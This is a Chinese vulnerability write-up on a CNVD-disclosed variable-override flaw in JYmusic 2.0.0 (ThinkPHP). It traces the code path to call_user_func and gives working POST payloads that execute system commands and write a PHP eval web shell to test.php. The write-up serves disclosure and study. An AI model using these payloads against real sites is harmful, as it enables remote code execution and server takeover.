JYmusic-2.0.0变量覆盖漏洞导致getshell

目录

测试环境：windows + php5.4.45 + apache2（phpStudy集成环境）
使用工具：BurpSuite、 PhpStorm
漏洞描述：变量覆盖，导致可传入系统命令进行执行，通过系统命令可写入shell。
漏洞挖掘后提交了CNVD，在CNVD公示后，才发表本文。
CNVD-ID: CNVD-2019-06251

一、漏洞分析

通过危险函数反追踪找到漏洞。

1. 危险函数
   /core/library/think/Request.php类中的filterValue函数中，使用了call_user_func函数。
   通过构造使得$filter=system， $value=dir ，通过call_user_func函数即可执行系统命令” dir ”。

2. array_walk_recursive函数
   /core/library/think/Request.php类中的input函数里调用了通过array_walk_recursive函数调用了filterValue函数。array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。
   

3. input函数
   /core/library/think/Request.php中的param函数调用了input函数。
   

4. exec 函数
   /core/library/think/App.php类中的exec 函数通过Request::instance()->param()调用了param函数。
   

5. run函数
   /core/library/think/App.php类中的run函数则调用了exec函数
   传入的$dispatch和$config两个参数分别来自于/core/library/think/App.php类中run函数里的：
   

6. 变量覆盖
   /core/library/think/App.php类中run函数里，获取$dispatch变量值时调用了routeCheck函数。routeCheck函数中则通过Route::chekc调用了check函数。/core/library/think/Route.php类中，check函数通过$request->method()调用了method函数。
   /core/library/think/Request.php类中，通过post参数_method=__construct调用构造函数：
   在构造函数里用filter=system覆盖类中的filter变量。
   post参数 method=GET 就是要再次调用method函数，并且使得if(true===$method)为真，从而获取 _SERVER[REQUEST_METHOD]=dir 这个参数值。
   

7. 调用入口
   /core/library/think/App.php类中的run函数，则是在index.php入口函数中调用。

二、 漏洞测试

1. 拦截首页请求，Change request method修改请求方式为POST

2. 参数：
   POST的参数的作用已在漏洞分析环节分析。
   filter=system&_SERVER[REQUEST_METHOD]=dir&_method=__construct&method=GET
   POST参数后不能有\r\n回车换行，如果有就不能成功执行。
   POST /captcha HTTP/1.1 //请求一个验证码，引导程序的运行步骤。

3. 写入shell
   filter=system&_SERVER[REQUEST_METHOD]=echo “<?php @eval($_GET["test"]) ?>” >test.php&_method=__construct&method=GET

4. phpinfo()
   /test.php?test=phpinfo(); //末尾一定要跟一个“分号” “ ; ” ，如果没有则不能成功执行。